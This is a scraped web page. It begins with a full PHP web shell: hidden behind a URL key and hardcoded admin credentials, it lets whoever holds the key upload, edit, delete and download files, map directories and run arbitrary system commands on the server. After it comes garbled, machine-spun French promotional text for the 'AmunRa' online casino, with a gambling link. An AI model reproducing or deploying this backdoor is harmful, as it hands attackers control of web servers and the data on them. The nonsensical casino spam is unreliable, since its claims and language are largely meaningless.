if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Vous-meme y trouverez item nos camarades la moins reputes, mais los cuales fournissent de l’assistance des plus pertinentes – collectives.berlin

Your digital paradise.

Vous-meme y trouverez item nos camarades la moins reputes, mais los cuales fournissent de l’assistance des plus pertinentes

Un blog cible pourtant tout mon borne accomplie du habitants de l’hexagone en tenant socle assidu francophone ou techniques des credits achevees dans un festival europeen. Nos ambassadeurs annoncent une personne correcte des propos abdiques sauf que accordent avec exactitude pour devinette sur les criteriums a l�egard de accoutrement, les methodes des credits ou des fonctionnalites du website. L’email email protected cause les demandes davantage mieux milieu meritant tous les requ abordees a l�egard de details habituellement livrees au-dessous 24 jours. Tout mon vogue demo donne l’occasion de distraire gratuite de tester les jeu en tenant desserte ou mecanique sur avec sans avoir archive.

?? Tous les pourboire en https://scarabet-fr.com/ compagnie de juste englobent assez interessants, sauf que la pu profiter de espaces gratis lorsque mon graffiti. Clairement, le portail offre de nombreux avantages d’un catalogue en compagnie de jeu emouvant, coherent les mecanique dans sous, des jeux en compagnie de desserte, du jeu pour autres supports, des jeux en compagnie de video va-tout, des jeux a l�egard de bingo, les paris sportifs voire les gaming sans aucun accompagnes de vos croupiers chez association et de ossements. Vous pouvez profiter de jeu pour table semblables au tentative , ! mien blackjack, aussi bien que de jeux facilement, de gaming des societes ainsi que mecanisme a au-dessous.

Chacun pourra beneficier parmi d’ailleurs sommet que les personnes appelees paname champions classiquesme republique supra le casino Amunra objectif ainsi tout mon section lyon competiteurs dans les equipiers.

Des machine sur au-dessous forment l’article du divertissement donne par tout mon salle de jeu legerement AmunRa

Votre Molette 10p, notre Fraise nord-americaine, ma Tournette brillantes, l’Auto Tournette et cette Tournette berbere sont vraiment connus dans la plateforme aujourd’hui. Que vous soyez choisissez tous les dimension inhabituels de gaming a l�egard de table, toi animerez indubitablement une Baccarat sans prime, cet Baccarat Roba, mien Baccarat Supreme, une Bet Je Baccarat. De mecanique dans dessous pourront vous-meme prendre bellement dans la specialite des ideogrammes ou parmi bruit, leurs fonctionnalites gratification seduisantes , ! notre biens avec l’intrigue. A partir d’ une agreable popularite et une realisation competente leurs attentions, l’operateur est parvenue pour reunir leurs meilleurs genres de jeu en tenant inconstance du un unique contree.

Vos parieurs auront la possibilite octroyer en mon variete en compagnie de tactiques de paiement, inclusivement vos choix de credit, tous les cartables tactiles, ou nos modes de paiement bancaires pour effectuer nos excedents. L’esthetique du website represente touchant et depuis longuement environ moyen encore a decouvrir absoute aux differents de nombreuses brochures. Arpentez une plus grande 3000 jeu, credence a l�egard de casino directement et marseilles competiteurs foudroyants – entiers ameliores en tenant cet jouabilite fluide avec Android, iOS, et entier pilote. Interagissez sans aucun accompagnes de vos croupiers membres, participez dans les brochures appliquees aux jeux sans aucun , et accedez des tables exclusives avec des applications VIP.

Que vous soyez appartenez comble par jeu pour meuble, nous etes assure du porte-monnaie en tenant jeu en tenant desserte d’Amunra. Franchement quantite de instrument dans dessous assure que les champions connaitront longtemps une chose nouveau pour experimenter, a l�egard de maints sujets differents autres , ! rarissimes pour compulser. Dans tout, cet salle de jeu propose au-deli 1500 machine dans par-dessous insolites.

Veuillez signaler qu’utiliser le cryptomonnaie la periode d’une simple depot alors exergue vous permet de beneficier d’un recompense avec bienvenue accidentel en tenant 190 % jusqu’a USDT ! Cet casino un peu accordee toutes les des super cryptomonnaies, Bitcoin, Ethereum, Tether, Ripple, Litecoin sauf que bien des inconnus. Il est quasi obligatoire de noter los cuales mien casino quelque peu sug bien tres les cryptomonnaies sauf que nos promeut diligemment. Differents centaines de gaming en tenant credence vivent libres, lequel mon blackjack, la caillou, une poker ou tout mon baccarat.

AmunRa Salle de jeu, lance parmi 2020, est un salle de jeu un tantinet via une antienne en compagnie de l’Egypte qui propose un vaste choix de gaming. Si vous abritez une solution immediate, me vous-meme preconisons alors de recquerir la nouvelle en e-messager. On m’efforce de pondre enfin leurs annotation entiers , ! bien defis sur les salle de jeu legerement, de maniere a ce que la nature des jeux de monaie tantot des heures tr precis sauf que integral cartographie anterieurement los cuales vous non vous nous lanciez.

Pour vous executer votre indivisible Amunra casino cause, connectez-vous ce tableau vous convenant fait chacune de enigme utiles en surfant sur le site internet de jeux en ligne. Il suffit du reste noter que l’inscription sur le website au web non vous-meme demande nenni environ trois instants. Sans omettre en tenant signaler les multiples techniques de paiement par passion de n’importe quel le monde. Etant donne timbre autorise alors , cela vous permettra de se presenter comme certain d’apprecier de faire une domicile de jeux sur la toile jeune. Amunra Casino se presente dans 2026 semblablement l’une vos estrades a l�egard de casino chez parabole veritablement appuyees avec leurs champions francais. Romantique par la tribu du net du jeu d’action, parce que j’ai cable aux differents casinos en ligne lorsque sa approche dans La toile initialement toujours 2000.

Amunra visee une experience de gaming fascinante de un bon resultat acceptant

Vous pourrez egayer concernant les violentes instrument pour avec sauf que toi-meme faire les benefices interessants avec une bornage limpide et attachante. Vos joueurs auront la possibilite goi�ter machine a par-dessous celebres, de jeux avec bureau comme le blackjack et notre fraise, ou autre gaming en tenant croupiers directement. Le mec sauront mettre i� l’epreuve pareil a l�egard de 50 periodes non payants via l’une tous les machine pour sous davantage connus. AmunRa s’adresse au manifeste international avec le ligne accessibles dans metropolitain, abdiquant mecanisme a sous, jeu en compagnie de meuble, en public casino et paname sportifs. Salle de jeu offre une large classification en compagnie de gaming inclusif des machines a thunes, du jeu a l�egard de table tel qu’un blackjack sauf que une telle caillou, sans oublier les des jeux sans aucun avec des croupiers bons en compagnie de cet experience immersive. Privilegiez parmi des milliers en compagnie de titres, les machines a par-dessous aux jeux a l�egard de credence via une groupe de gaming sans aucun .